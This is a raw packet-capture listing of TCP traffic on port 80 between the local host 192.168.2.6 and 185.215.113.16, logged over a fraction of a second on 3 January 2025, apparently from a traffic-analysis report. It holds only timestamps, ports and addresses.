Jan 3, 2025 15:21:26.671988964 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672014952 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672040939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672055960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672095060 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672116041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672131062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672132015 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672144890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672157049 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672161102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672179937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672183990 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672194958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672209024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672224045 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672235012 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672235966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672250032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672277927 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672575951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672612906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672627926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672641993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672656059 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672668934 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672691107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672692060 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672704935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672718048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672730923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672744989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672763109 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672770023 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672784090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672796965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672812939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672821999 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672827005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672841072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672846079 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672854900 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.672869921 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.672895908 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.675297022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675337076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675350904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675379038 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.675463915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675477982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675492048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675504923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675518990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675518990 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.675532103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675539970 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.675566912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.675584078 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675607920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675621986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675637960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675645113 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.675652981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675662041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.675667048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.675688028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.720443010 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.744582891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744596958 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744637966 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744649887 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.744651079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744668961 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744685888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744688988 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.744698048 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744708061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744719982 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744730949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744740963 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.744760036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744769096 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.744771004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744782925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744796038 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744805098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744817019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744818926 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.744827032 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.744827986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744839907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.744856119 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.744900942 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745366096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745378017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745388985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745414972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745425940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745438099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745448112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745457888 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745469093 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745469093 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745496988 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745538950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745577097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745624065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745647907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745660067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745671034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745682001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745685101 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745692968 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745704889 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745707989 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745724916 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745743990 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745743990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745754004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745769024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745780945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745790958 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745800018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745812893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745817900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745842934 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745888948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745898008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745908976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745919943 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745934010 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745968103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.745986938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.745996952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746025085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746037006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746046066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746074915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746076107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746087074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746104956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746117115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746129990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746140957 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746141911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746151924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746162891 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746174097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746185064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746191025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746218920 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746340990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746351957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746361971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746381998 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746421099 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746432066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746450901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746460915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746469975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746471882 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746495008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746505022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746506929 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746515989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746524096 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746540070 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746553898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746571064 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746587038 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746598959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746609926 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746622086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746633053 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746639967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746659994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746666908 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746671915 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746690989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746707916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746715069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746718884 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746731043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.746732950 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.746762037 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763001919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763016939 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763046026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763065100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763082981 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763091087 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763093948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763103962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763113976 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763123989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763134956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763144970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763155937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763165951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763175964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763180017 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763180017 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763215065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763499022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763509035 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763519049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763535023 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763557911 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763602018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763612986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763623953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763652086 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763731956 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763741970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763752937 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763762951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763772964 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763778925 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763784885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763794899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763804913 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763808012 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763808012 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763813972 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.763839960 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.763863087 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.766323090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766355991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766367912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766396046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.766505957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766525030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766539097 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766549110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766561985 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.766565084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766575098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766583920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766587019 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.766593933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766604900 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.766607046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766616106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766623020 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.766628027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766638994 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.766650915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.766675949 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.835680962 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835707903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835720062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835748911 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835769892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835789919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835800886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835814953 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835815907 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.835840940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835851908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835864067 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.835871935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835882902 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835884094 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.835895061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835907936 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.835925102 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.835926056 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.835964918 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.836319923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836416006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836431026 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836447001 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836457014 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.836461067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836493015 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.836519003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836551905 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836591959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836592913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.836610079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836633921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836666107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836673975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.836698055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836716890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836745024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836760998 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.836765051 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836780071 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836781025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.836792946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836807013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836821079 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.836832047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836843967 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.836846113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836880922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836903095 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836916924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836946964 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.836965084 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.836987019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837002993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837040901 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837044954 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837059975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837074041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837094069 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837107897 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837119102 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837121010 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837135077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837136984 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837146997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837163925 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837165117 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837176085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837188005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837193012 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837202072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837212086 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837213039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837225914 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837239027 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837251902 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837253094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837263107 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837284088 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837310076 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837330103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837342978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837354898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837395906 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837419033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837449074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837477922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837496042 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837511063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:26.837523937 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:26.837531090 CET	80	49829	185.215.113.16	192.168.2.6
